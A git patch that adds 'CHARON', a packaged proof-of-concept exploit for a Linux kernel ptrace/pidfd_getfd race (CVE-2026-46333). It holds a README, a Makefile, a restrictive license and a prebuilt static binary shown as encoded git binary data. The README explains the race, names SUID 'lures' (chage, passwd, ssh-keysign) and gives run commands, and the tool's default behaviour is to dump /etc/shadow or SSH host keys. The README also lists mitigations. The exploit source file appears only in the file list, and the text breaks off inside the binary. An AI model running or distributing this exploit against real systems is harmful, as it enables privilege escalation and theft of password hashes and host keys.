From a0d7d0b75be0a324720d9f5b520c44188c258346 Mon Sep 17 00:00:00 2001 From: Kara Zajac Date: Fri, 15 May 2026 23:15:58 -0400 Subject: [PATCH] =?UTF-8?q?charon:=20initial=20release=20=E2=80=94=20CVE-2?= =?UTF-8?q?026-46333=20PoC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CHARON ferries file descriptors out of dying SUID/SGID processes through the __ptrace_may_access mm==NULL window in do_exit(), disclosed by Qualys 2026-05-15 (CVE-2026-46333). Default behavior: dump /etc/shadow to stdout, banner + progress on stderr. --quiet for pure-pipe output, --verbose for stats. Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family (chage SUID-root), and ssh-keysign. Patched-kernel detection distinguishes "primitive fires but lure didn't open target" from "pidfd_getfd never succeeded → fix is in place". Pre-built 46KB musl-static binary included as charon-static. --- .gitignore | 8 ++ LICENSE | 29 +++++ Makefile | 22 ++++ README.md | 172 ++++++++++++++++++++++++++++ charon-static | Bin 0 -> 46704 bytes charon.c | 311 ++++++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 542 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 README.md create mode 100755 charon-static create mode 100644 charon.c diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7499dd3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +charon +*.o +*.dSYM/ +.DS_Store + +# Keep the prebuilt static binary +!charon-static + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..3c0c1c6 --- /dev/null +++ b/LICENSE @@ -0,0 +1,29 @@ +CHARON — research / authorized-defensive use license +====================================================== + +Copyright (c) 2026 Kara Zajac. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software for the purposes of: + + (a) authorized security testing of systems they own or have + written authorization to test, + (b) defensive research, including the development of detection, + mitigation, and patch-management tooling, + (c) educational use in academic or training contexts. + +Use of the Software to gain unauthorized access to computer systems +or data is strictly prohibited. The recipient is solely responsible +for ensuring that their use of the Software complies with applicable +law and any contractual obligations under which their systems +operate. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS +BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..ec24a1c --- /dev/null +++ b/Makefile @@ -0,0 +1,22 @@ +PROG := charon +CC ?= cc +CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter + +all: $(PROG) + +$(PROG): charon.c + $(CC) $(CFLAGS) -o $@ $< + +# 38KB static binary — preferred for distribution. +# Needs musl-tools on Debian/Ubuntu: sudo apt-get install musl-tools +static: charon.c + musl-gcc -static -Os -s -o $(PROG) $< + +# glibc-static fallback (~700KB) if musl-tools unavailable +static-glibc: charon.c + $(CC) -static -Os -s -o $(PROG) $< + +clean: + rm -f $(PROG) + +.PHONY: all static static-glibc clean diff --git a/README.md b/README.md new file mode 100644 index 0000000..3144344 --- /dev/null +++ b/README.md @@ -0,0 +1,172 @@ +``` + ____ _ _ _ ____ ___ _ _ + / ___|| | | | / \ | _ \ / _ \| \ | | +| | | |_| | / _ \ | |_) | | | | \| | +| |___ | _ |/ ___ \| _ <| |_| | |\ | + \____||_| |_/_/ \_\_| \_\\___/|_| \_| + + ferries fds across the exit-mm() Styx + CVE-2026-46333 / Linux <= 6.12.89 +``` + +> *"It is a fearful thing to fall into the hands of the living God."* +> — Hebrews 10:31 + +## What this is + +A tight, dependency-free PoC for **CVE-2026-46333**: the +`__ptrace_may_access` mm==NULL bypass disclosed by Qualys on +2026-05-15. Charon races `pidfd_getfd(2)` against a dying SUID-root +process to lift its open `/etc/shadow` file descriptor through the +brief mm-NULL window in `do_exit()`. Run it as an unprivileged user +on an affected box; it dumps `/etc/shadow` to stdout. + +``` +$ ./charon +[banner on stderr] +[*] lure /usr/bin/chage target /etc/shadow +root:$y$j9T$ztS5H...$hz9W87TlqxEW...:... +daemon:*:20582:0:99999:7::: +bin:*:20582:0:99999:7::: +... +``` + +Typical hit rate: under one second on a 4-core VM, **~137 tries** +in the smoke test. + +## The bug, in 30 seconds + +`__ptrace_may_access()` short-circuits its dumpability check when +`task->mm == NULL`. The fast-path was written for kernel threads +(swapper et al.), which legitimately have no mm and should never be +ptraced. But `do_exit()` runs `exit_mm()` *before* `exit_files()`, +which means a userspace SUID process briefly has: + +- `task->mm == NULL` (mm reaped) → dumpable check skipped +- file table still populated → fds still gettable +- creds reflect the post-`setreuid()` drop → access check passes + +`pidfd_getfd(2)` trusts that access check and hands the attacker the +SUID process's open file descriptors. + +``` +do_exit() + ├── exit_mm() ← task->mm = NULL + ├── ... ← __ptrace_may_access() now lies + └── exit_files() ← fd table reaped +``` + +Jann Horn flagged the FD-theft shape on lore.kernel.org in October +2020. The fix sat in maintainer review for ~6 years before Qualys +brought it back to the front of the queue. + +**Upstream fix:** [`31e62c2ebbfd`](https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a) +(Linus 2026-05-14). As of 2026-05-15 the backport has not landed in +linux-6.12.y or linux-6.6.y stable. + +## Affected kernels + +| Stable tree | Status | +|---|---| +| linux-6.12.y (≤ 6.12.89) | ❌ vulnerable | +| linux-6.6.y (pre-fix backport) | ❌ vulnerable | +| mainline ≥ 6.15-rc1 | ✅ patched (`31e62c2ebbfd`) | + +| Distro | Kernel | Status (2026-05-15) | +|---|---|---| +| Debian trixie | 6.12.86+deb13 | ❌ | +| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ | +| Ubuntu 26.04 | 7.0.0-15 | ⚠️ check | +| Fedora 44 | 7.0.4-200 | ⚠️ check | + +The PR / rolling-status table will be updated as backports land. + +## Build + +```sh +# Tiny 38 KB static binary (recommended) +sudo apt-get install musl-tools +make static + +# Or just the standard glibc build +make +``` + +Output: a single ELF `./charon`. + +## Run + +```sh +./charon # dump /etc/shadow (default) +./charon -q # no banner / progress, just shadow on stdout +./charon -v # show per-hit + final stats +./charon -r 5000 # more patience for slow systems +./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure) +./charon --help +``` + +### Exit codes + +| Code | Meaning | +|---|---| +| 0 | Success — file contents on stdout | +| 1 | No SUID lure on this system opens the requested file | +| 2 | Kernel appears patched (CVE-2026-46333 closed) | +| 3 | Ran out of rounds without a hit (rare; try `-r 5000`) | +| 4 | CLI / IO error | + +### Lures + +Charon ships with four known SUID lures: + +| Binary | File it opens | Distro coverage | +|---|---|---| +| `/usr/bin/chage` (`chage -l `) | `/etc/shadow` | Most Debian, Ubuntu, Fedora | +| `/usr/sbin/chage` | `/etc/shadow` | RHEL / Rocky / Alma family | +| `/usr/bin/passwd` (`passwd -S `) | `/etc/shadow` | Most distros | +| `/usr/lib/openssh/ssh-keysign` | `/etc/ssh/ssh_host_*_key` | Distros with HostbasedAuthentication enabled | + +Adding a lure is a 3-line edit to the `lures[]` array in `charon.c`. + +## Mitigations until your distro ships the backport + +- Apply `31e62c2ebbfd` directly. +- Disable `pidfd_getfd(2)` via seccomp on production hosts. +- Remove the setuid bit from `chage` and `passwd` if you do not need + unprivileged users to query password aging. +- For containerized workloads, enabling `no_new_privs` on the host + blocks the primitive entirely — every "SUID" inside the container + becomes inert, leaving Charon with no prey. + +## Not a kernelctf VRP candidate + +The Google kernelctf VRP challenge VM runs the player's bash inside +an `nsjail` sandbox with `clone_newuser:true` (uid 0 unmapped), +`chroot:/chroot`, and `no_new_privs:1`. Under `no_new_privs` the +setuid bit is inert, so there are no real SUID prey inside the +sandbox, and `/flag` lives on the host outside the chroot. Charon +therefore cannot win kCTF VRP. It remains a legitimate Linux LPE on +bare-metal Debian / Ubuntu / RHEL family installations. + +## Provenance + +- Bug discovered & disclosed by Qualys → oss-security 2026-05-15. +- Reference PoCs by [@0xdeadbeefnetwork](https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn). +- Charon rewrites the lure-and-race loop into a single hardened + binary, adds CLI ergonomics, patched-kernel auto-detection, and + per-distro lure fallback. + +## License + +Educational and authorized-defensive use only. + +``` + ⛵ STYX ⛵ + ╔══════════════════════════════╗ + ║ do_exit(): ║ + ║ ├── exit_mm() ← task->mm ║ + ║ │ = NULL ║ + ║ ├── ... ← ferry ║ + ║ └── exit_files() ║ + ╚══════════════════════════════╝ +``` diff --git a/charon-static b/charon-static new file mode 100755 index 0000000000000000000000000000000000000000..7c1e03d18cf666749ac719684a7616b493e6a5fc GIT binary patch literal 46704 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 